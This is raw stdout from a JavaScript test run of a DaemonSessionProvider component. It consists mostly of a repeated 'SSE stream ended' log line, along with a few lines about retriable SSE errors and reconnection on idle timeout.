stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > retries when ring-evicted reload fails once
[DaemonSessionProvider] retriable SSE error, preserving session for delta resume (sessionId=undefined)
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > preserves session and uses delta resume after a retriable SSE error
[DaemonSessionProvider] retriable SSE error, preserving session for delta resume (sessionId=session-1)
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > routes session_died errors to notices, not transcript
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > deduplicates live and snapshot recording degradation notices
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > clears a degraded notice after an authoritative healthy snapshot
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > allows a later degraded snapshot to restore a dismissed notice
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
[DaemonSessionProvider] SSE stream ended
